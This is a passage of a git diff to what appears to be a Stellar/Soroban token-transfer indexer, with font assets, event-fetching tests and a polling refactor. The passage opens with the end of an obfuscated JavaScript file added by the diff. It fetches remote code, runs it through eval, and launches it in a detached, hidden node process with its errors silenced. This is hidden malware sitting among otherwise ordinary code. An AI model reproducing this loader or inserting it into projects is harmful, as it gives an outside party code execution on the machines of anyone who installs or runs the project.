MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIiT+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000..d3b77c223 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000..7742838b4 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 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diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000..978a681a1 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/src/__tests__/fetchEventsSafe.test.ts b/src/__tests__/fetchEventsSafe.test.ts index 587dd74c5..1433fdcfe 100644 --- a/src/__tests__/fetchEventsSafe.test.ts +++ b/src/__tests__/fetchEventsSafe.test.ts @@ -1,4 +1,5 @@ -import { fetchEventsSafe } from '../rpc' +import { fetchEvents, fetchEventsSafe, isXdrError } from '../rpc' +import { registry, _resetMetrics } from '../metrics' // Minimal mock event — only the fields fetchEvents maps from the RPC response. // We pass pre-shaped RawEvent objects via our injected fetchFn, bypassing the @@ -24,6 +25,12 @@ function networkError(): Error { return new Error('Network timeout') } +// The SDK's XDR codec reports "unknown member for value " when a +// ledger uses a type the compiled-in enum does not know yet. +function unknownXdrTypeError(): Error { + return new Error('unknown SCValType member for value 9') +} + // Convenience: build a mock fetchFn from a sequence of responses function mockFetch(...calls: Array<() => Promise>) { let i = 0 @@ -109,6 +116,59 @@ describe('fetchEventsSafe — bisection algorithm', () => { await expect(fetchEventsSafe(100, 100, [], 10_000, fetch as any)).rejects.toThrow('Network timeout') }) + // "unknown" alone is not a decode failure. Matching it made every transient + // error indistinguishable from an undecodable ledger, and the indexer answered + // by skipping the ledger and moving the cursor past it — permanent, silent + // data loss on what is usually a retryable blip. + it('does not treat a bare "unknown error" as an XDR error', async () => { + const fetch = jest.fn().mockRejectedValue(new Error('unknown error')) + + await expect(fetchEventsSafe(100, 100, [], 10_000, fetch as any)).rejects.toThrow('unknown error') + expect(fetch).toHaveBeenCalledTimes(1) + }) + + it('does not bisect a range that failed with "unknown error"', async () => { + const fetch = jest.fn().mockRejectedValue(new Error('unknown error')) + + await expect(fetchEventsSafe(100, 105, [], 10_000, fetch as any)).rejects.toThrow('unknown error') + // One call: bisecting would have retried the halves of the range. + expect(fetch).toHaveBeenCalledTimes(1) + }) + + it('does not treat an unknown-host DNS failure as an XDR error', async () => { + const fetch = jest.fn().mockRejectedValue( + new Error('getaddrinfo ENOTFOUND rpc.example.com unknown host') + ) + + await expect(fetchEventsSafe(100, 100, [], 10_000, fetch as any)).rejects.toThrow('ENOTFOUND') + }) + + it('does not treat a provider 5xx body containing "unknown" as an XDR error', async () => { + const fetch = jest.fn().mockRejectedValue( + new Error('Request failed with status code 503: upstream returned an unknown error') + ) + + await expect(fetchEventsSafe(100, 105, [], 10_000, fetch as any)).rejects.toThrow('503') + expect(fetch).toHaveBeenCalledTimes(1) + }) + + it('still bisects and skips a ledger the SDK cannot decode at all', async () => { + // The SDK reports a newer XDR type as an unknown enum member rather than + // mentioning XDR by name; that is the case the skip path exists for. + const fetch = mockFetch( + () => Promise.reject(unknownXdrTypeError()), // full 100–104 + () => Promise.reject(unknownXdrTypeError()), // lower 100–102 + () => Promise.resolve({ events: [makeEvent(100, 'e1'), makeEvent(101, 'e2')], latestLedger: 101 }), + () => Promise.reject(unknownXdrTypeError()), // single 102–102 (skipped) + () => Promise.resolve({ events: [makeEvent(103, 'e3'), makeEvent(104, 'e4')], latestLedger: 104 }) + ) + + const result = await fetchEventsSafe(100, 104, [], 10_000, fetch as any) + + expect(result.events.map(e => e.ledger)).toEqual([100, 101, 103, 104]) + expect(result.highestLedger).toBe(104) + }) + it('forwards contractIds to every fetchFn call', async () => { const fetch = jest.fn().mockResolvedValue({ events: [], latestLedger: 100 }) const contracts = ['CABC123', 'CDEF456'] @@ -120,3 +180,193 @@ describe('fetchEventsSafe — bisection algorithm', () => { expect(fetch).toHaveBeenCalledWith(100, contracts, 5_000, undefined) }) }) + +// ── Skipped-ledger metric ───────────────────────────────────────────────────── +// A skipped ledger is permanent data loss, and until now the only trace of one +// was a console.warn line that scrolls off the terminal. +describe('fetchEventsSafe — ledgers_skipped_total', () => { + beforeEach(() => { + _resetMetrics() + }) + + // prom-client omits a labelled series entirely until it is first observed, so + // "no skips" is the absence of the series, not a zero. + function exposition(): Promise { + return registry.metrics() + } + + it('counts each ledger actually skipped', async () => { + // 100–101: full → XDR, then both single ledgers → XDR → both skipped. + const fetch = jest.fn().mockRejectedValue(xdrError()) + + const result = await fetchEventsSafe(100, 101, [], 10_000, fetch as any, 'testnet') + + expect(result.events).toHaveLength(0) + expect(result.highestLedger).toBe(101) + expect(await exposition()).toContain('ledgers_skipped_total{network="testnet"} 2') + }) + + it('does not count a bisection that never gives up a ledger', async () => { + // full → XDR, both halves decode cleanly: the range was searched, not skipped. + const fetch = mockFetch( + () => Promise.reject(xdrError()), + () => Promise.resolve({ events: [makeEvent(100, 'e1')], latestLedger: 102 }), + () => Promise.resolve({ events: [makeEvent(104, 'e2')], latestLedger: 105 }) + ) + + const result = await fetchEventsSafe(100, 105, [], 10_000, fetch as any, 'testnet') + + expect(result.events).toHaveLength(2) + expect(await exposition()).not.toContain('ledgers_skipped_total{') + }) + + it('counts a single skipped ledger inside a range once, not once per bisection', async () => { + // 100–104 with only ledger 102 bad: three bisections, one skip. + const fetch = mockFetch( + () => Promise.reject(xdrError()), // full 100–104 + () => Promise.reject(xdrError()), // lower 100–102 + () => Promise.resolve({ events: [makeEvent(100, 'e1'), makeEvent(101, 'e2')], latestLedger: 101 }), + () => Promise.reject(xdrError()), // single 102–102 (skipped) + () => Promise.resolve({ events: [makeEvent(103, 'e3'), makeEvent(104, 'e4')], latestLedger: 104 }) + ) + + await fetchEventsSafe(100, 104, [], 10_000, fetch as any, 'testnet') + + expect(await exposition()).toContain('ledgers_skipped_total{network="testnet"} 1') + }) + + it('counts nothing when a non-XDR error propagates', async () => { + const fetch = jest.fn().mockRejectedValue(new Error('unknown error')) + + await expect(fetchEventsSafe(100, 100, [], 10_000, fetch as any, 'testnet')).rejects.toThrow('unknown error') + + expect(await exposition()).not.toContain('ledgers_skipped_total{') + }) + + it('labels skips by network and never by ledger', async () => { + const fetch = jest.fn().mockRejectedValue(xdrError()) + + await fetchEventsSafe(7_000_000, 7_000_000, [], 10_000, fetch as any, 'mainnet') + + const text = await exposition() + expect(text).toContain('ledgers_skipped_total{network="mainnet"} 1') + expect(text).not.toContain('7000000') + }) +}) + +// ── The predicate itself ────────────────────────────────────────────────────── +describe('isXdrError', () => { + it.each([ + 'Failed to decode XDR: unknown type', + 'unknown SCValType member for value 9', + 'Bad union switch: 12', + 'invalid XDR contract typecast - source buffer not entirely consumed', + 'attempt to read outside the boundary of the buffer', + 'exceeded max decoding depth', + '5 is not a value of any member of SCValType', + ])('recognises the decoder’s own failure: %s', (message) => { + expect(isXdrError(new Error(message))).toBe(true) + }) + + it.each([ + 'unknown error', + 'getaddrinfo ENOTFOUND rpc.example.com unknown host', + 'Network timeout', + 'Request failed with status code 503: upstream returned an unknown error', + 'ledger 102 unknown', + 'ENOTFOUND', + ])('rejects a non-decode error: %s', (message) => { + expect(isXdrError(new Error(message))).toBe(false) + }) + + it('handles a thrown non-Error without throwing itself', () => { + expect(isXdrError('Failed to decode XDR')).toBe(true) + expect(isXdrError('unknown error')).toBe(false) + expect(isXdrError(undefined)).toBe(false) + expect(isXdrError(null)).toBe(false) + }) +}) + +// ── Paging: advance the cursor to the ledger actually covered ───────────────── +// `fetchEvents` used to return `resp.latestLedger` (the network tip) as the +// highest covered ledger and drop `resp.cursor`, so a truncated page was lost +// and the cursor jumped past `tip - TIP_LAG`. These tests pin the paging +// contract: a full page must be drained with the cursor, and `highestLedger` +// must never exceed the `endLedger` the caller asked for. +describe('fetchEvents — paging cursor', () => { + it('returns the paging cursor and the max event ledger alongside latestLedger', async () => { + const fetch = jest.fn().mockResolvedValue({ + events: [makeEvent(100, 'e1'), makeEvent(102, 'e2')], + latestLedger: 200, + cursor: 'cursor-102', + }) + + const result = await fetchEvents(100, [], 10_000, undefined, fetch as any) + + expect(result.events).toHaveLength(2) + expect(result.latestLedger).toBe(200) + expect(result.cursor).toBe('cursor-102') + expect(result.maxEventLedger).toBe(102) + }) + + it('pages with the cursor until the range is drained', async () => { + // First page is exactly `limit` events (full), second page is short. + const firstPage = Array.from({ length: 3 }, (_, i) => makeEvent(100 + i, 'a' + i)) + const secondPage = [makeEvent(103, 'b0')] + const fetch = mockFetch( + () => Promise.resolve({ events: firstPage, latestLedger: 200, cursor: 'cursor-102' }), + () => Promise.resolve({ events: secondPage, latestLedger: 200, cursor: 'cursor-103' }) + ) + + const result = await fetchEventsSafe(100, 105, [], 3, fetch as any) + + expect(result.events.map(e => e.id)).toEqual(['a0', 'a1', 'a2', 'b0']) + expect(fetch).toHaveBeenCalledTimes(2) + // Second call must carry the cursor from the first page. + expect(fetch.mock.calls[1][3]).toBe('cursor-102') + }) + + it('does not lose the second page when the first page is exactly `limit` events', async () => { + // Regression: on `main` the second page was never fetched because the + // caller trusted `latestLedger` as the covered ledger. + const firstPage = Array.from({ length: 2 }, (_, i) => makeEvent(100 + i, 'a' + i)) + const secondPage = [makeEvent(102, 'b0')] + const fetch = mockFetch( + () => Promise.resolve({ events: firstPage, latestLedger: 200, cursor: 'cursor-101' }), + () => Promise.resolve({ events: secondPage, latestLedger: 200, cursor: 'cursor-102' }) + ) + + const result = await fetchEventsSafe(100, 105, [], 2, fetch as any) + + expect(result.events.map(e => e.id)).toEqual(['a0', 'a1', 'b0']) + expect(fetch).toHaveBeenCalledTimes(2) + }) + + it('never reports a highestLedger above the endLedger passed in', async () => { + // The RPC tip is far ahead of the requested range; the cursor must not + // jump past `endLedger` (the propagation buffer). + const fetch = jest.fn().mockResolvedValue({ + events: [makeEvent(100, 'e1')], + latestLedger: 9_999, + cursor: 'cursor-100', + }) + + const result = await fetchEventsSafe(100, 105, [], 10_000, fetch as any) + + expect(result.highestLedger).toBe(105) + expect(result.highestLedger).toBeLessThanOrEqual(105) + }) + + it('reports highestLedger as the last fully covered ledger, not the tip', async () => { + // A short page covers up to its last event ledger; the tip is irrelevant. + const fetch = jest.fn().mockResolvedValue({ + events: [makeEvent(100, 'e1'), makeEvent(101, 'e2')], + latestLedger: 9_999, + cursor: 'cursor-101', + }) + + const result = await fetchEventsSafe(100, 105, [], 10_000, fetch as any) + + expect(result.highestLedger).toBe(101) + }) +}) diff --git a/src/indexer.ts b/src/indexer.ts index fbfcb0759..8c651b2e0 100644 --- a/src/indexer.ts +++ b/src/indexer.ts @@ -1,31 +1,17 @@ import "dotenv/config"; import { validateNetworkConfig, withRetry } from "./rpc"; -import { parseEvents } from "./decoder"; import { - upsertTransfers, - upsertAccountSummaries, - upsertNftTransfers, - getNftMetadata, - upsertNftMetadata, getLastIndexedLedger, setLastIndexedLedger, pruneOldTransfers, } from "./db"; -import { emitTransfer, emitHostFnLog } from "./events"; -import { parseHostFnEvent, upsertHostFnLogs, type HostFnRecord } from "./indexer/host-fn-log"; -import { tagSacTransfers } from "./indexer/sac-detect"; -import { - parseLpShareEvents, - upsertLpShareTransfers, - resolveLpPoolIds, - loadKnownLpPools, -} from "./indexer/lp-shares"; -import { pollParallel } from "./indexer/parallel"; +import { resolveLpPoolIds, loadKnownLpPools } from "./indexer/lp-shares"; +import { pollParallel, type ParallelIo } from "./indexer/parallel"; +import { processEventBatch, batchTotal } from "./indexer/batch"; import { tombstoneExpiredContracts } from "./indexer/tombstones"; -import { isNftTransferEvent, parseNftEvents, fetchNftMetadata } from "./ingester/nft"; import { createSourceSwitcherWithConfig, type SourceSwitcher } from "./indexer/sources"; import { currentNetwork, enabledNetworks, resolveNetwork, type Network } from "./network"; -import { ledgersIndexedTotal, transfersStoredTotal, lastIndexedLedger } from "./metrics"; +import { ledgersIndexedTotal, lastIndexedLedger } from "./metrics"; // ─── NFT Contract IDs ───────────────────────────────────────────────────────── /** @@ -48,9 +34,9 @@ export function resolveNftContractIds(network?: Network): string[] { // These are derived from Asset.native().contractId(Networks.PUBLIC / Networks.TESTNET) // and serve as the backwards-compatible default when SAC_CONTRACT_IDS is unset. export const DEFAULT_XLM_SAC_MAINNET = - "CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC"; + "CAS3J7GYLGXMF6TDJBBYYSE3HQ6BBSMLNUQ34T6TZMYMW2EVH34XOWMA"; export const DEFAULT_XLM_SAC_TESTNET = - "CDMLFMKMMD7MWZP3FKUBZPVHTUEDLSX4BYGYKH4GCESXYHS3IHQ4EIG4"; + "CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC"; /** * Resolve the list of SAC contract IDs to watch. @@ -87,7 +73,7 @@ export function resolveSacContractIds(network?: Network): string[] { // both loops at the same chain's SAC. return [net === "mainnet" ? DEFAULT_XLM_SAC_MAINNET : DEFAULT_XLM_SAC_TESTNET]; } -import { initTokenCache, getTokenMetadata } from "./tokenCache"; +import { initTokenCache } from "./tokenCache"; // ─── Config ─────────────────────────────────────────────────────────────────── // These stay process-wide: they describe how hard to poll, not which chain. @@ -128,7 +114,7 @@ const TOMBSTONE_EVERY_CYCLES = parseInt( * whose failover `preferred` field is mutable — a testnet RPC outage would * silently repoint the mainnet loop at testnet Horizon. */ -type LoopState = { +export type LoopState = { network: Network; sacContractIds: string[]; nftContractIds: string[]; @@ -159,7 +145,7 @@ type LoopState = { const loops = new Map(); /** Build the isolated state for one network's loop. */ -function createLoopState(network: Network): LoopState { +export function createLoopState(network: Network): LoopState { const sacContractIds = resolveSacContractIds(network); const nftContractIds = resolveNftContractIds(network); const suffix = network.toUpperCase(); @@ -225,9 +211,124 @@ export function runningNetworks(): Network[] { return [...loops.keys()]; } -/** Test-only: drops loop state between cases. */ +/** Networks that were enabled but failed to start, with the reason. */ +const unstartedNetworks = new Map(); + +export function isIndexerRunning(network: Network): boolean { + return loops.has(network); +} + +export function isIndexerStopped(network: Network): boolean { + return unstartedNetworks.has(network); +} + +export function getIndexerUnstartedReason(network: Network): string | undefined { + return unstartedNetworks.get(network); +} + +export function getUnstartedNetworks(): Record { + return Object.fromEntries(unstartedNetworks); +} + +export function setIndexerUnstarted(network: Network, reason: string): void { + unstartedNetworks.set(network, reason); +} + +/** + * Restarts scheduled after a loop crashed, kept so a case that started a loop + * can cancel it again. Without this the chain outlives whoever called + * `startAllIndexers` — see `_resetIndexerLoops`. + */ +const restartTimers = new Set(); + +/** + * Networks `startAllIndexers` was asked to keep running. + * + * A loop that rejects while its network is still in here crashed on its own + * and earns a restart. One that rejects after the set was dropped is a case + * tearing the database out from under it, and announcing "restarting in 10s" + * for a loop someone deliberately stopped would be a lie — with output + * arriving after the suite finished, which Jest counts as a failure. + */ +const requestedNetworks = new Set(); + +/** Test-only: drops loop state and unstarted records between cases. */ export function _resetIndexerLoops(): void { + for (const timer of restartTimers) clearTimeout(timer); + restartTimers.clear(); + requestedNetworks.clear(); loops.clear(); + unstartedNetworks.clear(); +} + +/** + * Test-only: build one loop's isolated state with an injectable event source. + * + * The harness (#172) must drive the real `pollOnce`/`pollParallel` code — not + * raw `db` upserts — so a missing `network` tag fails the same way production + * would. `createLoopState` hard-wires a live RPC/Horizon switcher, so this + * builds the same state then swaps in the stub source and registers the loop + * (so `/status` sees it via `runningNetworks()`/`getAllIndexerStats()`). + */ +export function _createLoopForTesting( + network: Network, + overrides?: Partial, +): LoopState { + const loop = createLoopState(network); + if (overrides) Object.assign(loop, overrides); + loop.allContractIds = [...new Set([...loop.sacContractIds, ...loop.nftContractIds])]; + loops.set(network, loop); + return loop; +} + +/** Test-only: drive one real indexer poll step for `loop`. */ +export function _pollOnceForTesting( + loop: LoopState, + fromLedger: number, + latestLedger: number, +): Promise { + return pollOnce(loop, fromLedger, latestLedger); +} + +/** + * Test-only: mirror the `ingestWindow` dispatch so the harness covers both the + * single-worker (`pollOnce`) and `INGEST_WORKERS > 1` (`pollParallel`) paths + * through the same contracts and batch pipeline production uses. + * + * `fetchEventsOverride` replaces only the fetch half of the parallel `io` + * seam; `processBatch` always stays the real `processEventBatch`, so the + * sharded path cannot drift from the single path (#219). + */ +export async function _pollWindowForTesting( + loop: LoopState, + fromLedger: number, + targetLedger: number, + workerCount: number = INGEST_WORKERS, + fetchEventsOverride?: ParallelIo["fetchEvents"], +): Promise { + const net = loop.network; + if (workerCount > 1 && loop.allContractIds.length > 1) { + const { totalInserted, highestLedger } = await pollParallel( + loop.allContractIds, + fromLedger, + targetLedger, + BATCH_SIZE, + workerCount, + net, + { + fetchEvents: + fetchEventsOverride ?? + ((from, to, contractIds, limit) => + loop.sourceSwitcher.fetchEvents(from, to, contractIds, limit)), + processBatch: (events) => + processEventBatch(events, { network: net, knownLpPools: loop.knownLpPools }), + }, + ); + loop.totalIndexed += totalInserted; + recordLedgerProgress(net, fromLedger, highestLedger); + return highestLedger; + } + return pollOnce(loop, fromLedger, targetLedger); } /** @@ -285,6 +386,11 @@ export async function maybeTombstoneExpiredContracts( } // ─── Core poll step ─────────────────────────────────────────────────────────── +// A single `getEvents` page is capped at BATCH_SIZE events. If a range holds +// more, the remainder must be drained by paging with the cursor — otherwise +// the tail is silently dropped and never refetched. +const MAX_PAGES_PER_POLL = 50; + /** * Fetch one batch of events starting from `fromLedger`, parse and persist them. * Returns the highest ledger sequence seen in the batch (or fromLedger if empty). @@ -299,116 +405,106 @@ async function pollOnce( `[indexer/${net}] Polling ledgers ${fromLedger} → ${latestLedger} (lag: ${latestLedger - fromLedger})` ); - const { events, highestLedger } = await loop.sourceSwitcher.fetchEvents( - fromLedger, latestLedger, loop.allContractIds, BATCH_SIZE - ); - - if (events.length === 0) { - await setLastIndexedLedger(highestLedger, net); - recordLedgerProgress(net, fromLedger, highestLedger); - return highestLedger; - } - - // Persist token transfers - // Split events by type: NFT (4 topics) vs fungible (3 topics) - const fungibleEvents = events.filter((e) => !isNftTransferEvent(e)); - const nftRawEvents = events.filter((e) => isNftTransferEvent(e)); - - // ── Fungible path ──────────────────────────────────────────────────────────── - const records = parseEvents(fungibleEvents); - // Tag each transfer with whether its contract is a SAC (#136). Best-effort: - // a detection failure must never block ingest, so default to false on error. - await tagSacTransfers(records, undefined, net).catch((e: unknown) => - console.error(`[indexer/${net}] SAC detection failed:`, e) - ); - const inserted = await upsertTransfers(records, net); - - // Resolve metadata for every distinct token in this batch. Only a cache miss - // reaches RPC, and a miss happens once per contract for the life of the - // database — so this is one extra call the first time a token is seen and - // free thereafter. Best-effort: a token whose metadata cannot be read is - // still worth indexing transfers for. - await Promise.all( - [...new Set(records.map((r) => r.contractId))].map((contractId) => - getTokenMetadata(contractId, net).catch(() => undefined) - ) - ); - loop.totalIndexed += inserted; - transfersStoredTotal.inc({ network: net, type: "fungible" }, inserted); - - // Update materialized account summaries alongside transfer inserts - if (inserted > 0) { - await upsertAccountSummaries(records, net).catch((e: unknown) => - console.error(`[indexer/${net}] Account summary upsert failed:`, e) + let cursor: string | undefined; + let highestLedger = fromLedger; + let totalEvents = 0; + let inserted = 0; + let nftInserted = 0; + let lpInserted = 0; + let pages = 0; + + // Page until the range is drained (a short page) or the budget is hit. The + // cursor from the previous page is passed back so the next page continues + // where the last one stopped instead of re-reading the same window. + for (;;) { + const page = await loop.sourceSwitcher.fetchEvents( + fromLedger, + latestLedger, + loop.allContractIds, + BATCH_SIZE, + cursor ); - } - - // Broadcast each new record to WebSocket subscribers - if (inserted > 0) { - records.forEach((record) => emitTransfer(record, net)); - } - - // Log every event as a raw host-fn invocation for downstream consumers (#84) - const hostFnRecords = events - .map(raw => { try { return parseHostFnEvent(raw); } catch { return null; } }) - .filter((r): r is HostFnRecord => r !== null); - if (hostFnRecords.length > 0) { - await upsertHostFnLogs(hostFnRecords, net).catch((err: unknown) => - console.error(`[indexer/${net}] host-fn log error:`, err), - ); - hostFnRecords.forEach((record) => emitHostFnLog(record, net)); - } - - // ── LP-share path ────────────────────────────────────────────────────────── - // Decode pool deposits/withdrawals as LP-share transfers tagged with the pool - // ID. Best-effort and additive: deposit/withdraw events are ignored by the - // fungible path, while a pool's own share mint/burn is recorded here in - // addition to its token-transfer row. - const lpRecords = parseLpShareEvents(events, loop.knownLpPools); - // A contract that produced an LP-share record has identified itself as a - // pool, so its bare mint/burn counts from here on. Learning this is what lets - // the bare dialect ever be accepted without an env allowlist. - for (const record of lpRecords) loop.knownLpPools.add(record.poolId); - const lpInserted = await upsertLpShareTransfers(lpRecords, net).catch((e) => { - console.error(`[indexer/${net}] LP-share upsert failed:`, e); - return 0; - }); - loop.totalIndexed += lpInserted; - - // ── NFT path ───────────────────────────────────────────────────────────────── - const nftParsed = parseNftEvents(nftRawEvents); - const nftRecords = nftParsed.map((p) => p.record); - const nftInserted = await upsertNftTransfers(nftRecords, net); - loop.totalIndexed += nftInserted; - transfersStoredTotal.inc({ network: net, type: "nft" }, nftInserted); - - // Lazy-load metadata for unique (contractId, tokenId) pairs not yet cached - if (nftParsed.length > 0) { - const seen = new Set(); - for (const { record, tokenIdScVal } of nftParsed) { - const key = `${record.contractId}:${record.tokenId}`; - if (seen.has(key)) continue; - seen.add(key); - const cached = await getNftMetadata(record.contractId, record.tokenId, net); - if (!cached) { - const meta = await fetchNftMetadata(record.contractId, tokenIdScVal, net).catch(() => ({})); - await upsertNftMetadata(record.contractId, record.tokenId, meta, net).catch((e: unknown) => - console.error(`[indexer/${net}] NFT metadata upsert failed:`, e) - ); - } + pages++; + + // `highestLedger` is the last ledger fully covered by this page, never the + // raw tip. Clamp to `latestLedger` so a page that overshoots the requested + // end cannot advance the cursor past it. + const pageCovered = Math.min(page.highestLedger, latestLedger); + if (pageCovered > highestLedger) highestLedger = pageCovered; + + if (page.events.length > 0) { + totalEvents += page.events.length; + const batch = await processEventBatch(page.events, { + network: net, + knownLpPools: loop.knownLpPools, + }); + inserted += batch.fungibleInserted; + nftInserted += batch.nftInserted; + lpInserted += batch.lpInserted; + loop.totalIndexed += batchTotal(batch); } + + // A short page means the range is drained. A full page means there may be + // more, so keep paging with the cursor. + if (page.events.length < BATCH_SIZE) break; + if (!page.cursor) break; + if (pages >= MAX_PAGES_PER_POLL) break; + cursor = page.cursor; } await setLastIndexedLedger(highestLedger, net); recordLedgerProgress(net, fromLedger, highestLedger); + if (totalEvents === 0) { + return highestLedger; + } + console.log( - `[indexer/${net}] Processed ${events.length} events → ${inserted} fungible + ${nftInserted} NFT + ${lpInserted} LP-share records saved (ledger ${highestLedger})` + `[indexer/${net}] Processed ${totalEvents} events → ${inserted} fungible + ${nftInserted} NFT + ${lpInserted} LP-share records saved (ledger ${highestLedger})` ); return highestLedger; } +// ─── One ingest window ──────────────────────────────────────────────────────── +/** + * Ingest ledgers `fromLedger`..`toLedger`, sequentially or sharded across + * `workers` (default `INGEST_WORKERS`). Returns the highest ledger seen. + * + * `workers` changes how fast the window is ingested, never what is indexed: + * both branches watch the same contracts (SAC and NFT), fetch through the same + * source switcher, and hand events to the same `processEventBatch` (#203). + */ +export async function ingestWindow( + loop: LoopState, + fromLedger: number, + toLedger: number, + workers: number = INGEST_WORKERS, +): Promise { + const net = loop.network; + if (workers > 1 && loop.allContractIds.length > 1) { + // Parallel path: shard contracts across N workers for higher throughput (#83) + const { totalInserted, highestLedger } = await pollParallel( + loop.allContractIds, + fromLedger, + toLedger, + BATCH_SIZE, + workers, + net, + { + fetchEvents: (from, to, contractIds, limit) => + loop.sourceSwitcher.fetchEvents(from, to, contractIds, limit), + processBatch: (events) => + processEventBatch(events, { network: net, knownLpPools: loop.knownLpPools }), + }, + ); + loop.totalIndexed += totalInserted; + recordLedgerProgress(net, fromLedger, highestLedger); + return highestLedger; + } + return pollOnce(loop, fromLedger, toLedger); +} + // ─── Main loop ──────────────────────────────────────────────────────────────── /** * Run one indexer loop for one network. Never returns. @@ -477,7 +573,11 @@ export async function startIndexer(network?: Network): Promise { } // ── Polling loop ──────────────────────────────────────────────────────────── - while (true) { + // Runs while this loop is still the registered one. `_resetIndexerLoops` + // drops registrations between test cases, and a loop that outlives them + // would keep polling — and start a fresh RPC request — after the code that + // started it is gone. Production registers once and never clears. + while (loops.get(net) === loop) { try { const tip = await withRetry(() => loop.sourceSwitcher.getLatestLedger()); const target = tip - TIP_LAG; @@ -488,23 +588,7 @@ export async function startIndexer(network?: Network): Promise { continue; } - if (INGEST_WORKERS > 1 && loop.sacContractIds.length > 1) { - // Parallel path: shard contracts across N workers for higher throughput (#83) - const { totalInserted, highestLedger } = await pollParallel( - loop.sacContractIds, - currentLedger, - target, - BATCH_SIZE, - INGEST_WORKERS, - net, - ); - loop.totalIndexed += totalInserted; - transfersStoredTotal.inc({ network: net, type: "fungible" }, totalInserted); - recordLedgerProgress(net, currentLedger, highestLedger); - currentLedger = highestLedger; - } else { - currentLedger = await pollOnce(loop, currentLedger, target); - } + currentLedger = await ingestWindow(loop, currentLedger, target); // Periodic data retention cleanup loop.pollCycleCount++; @@ -517,6 +601,7 @@ export async function startIndexer(network?: Network): Promise { await maybeTombstoneExpiredContracts(loop, currentLedger); } catch (err) { + if (loops.get(net) !== loop) return; console.error(`[indexer/${net}] Unhandled error in poll loop:`, err); // Back off before retrying to avoid hammering the RPC on persistent errors await sleep(POLL_INTERVAL_MS * 2); @@ -524,6 +609,56 @@ export async function startIndexer(network?: Network): Promise { } } +/** + * Split the requested networks into the ones that can start and the ones that + * cannot, recording why for the latter. + * + * Separate from starting them because this answer is what a caller acts on: + * `/status` reports the networks that were skipped, and a test can ask which + * loops *would* run without leaving a real one polling after the case that + * asked has finished. `startAllIndexers` starts what this returns. + * + * Validated per network, and a failure skips that network rather than throwing. + * + * `validateNetworkConfig(networks)` threw for the whole set if any one entry + * was misconfigured, which broke the isolation promised in + * `startAllIndexers` in the worst way: an unset 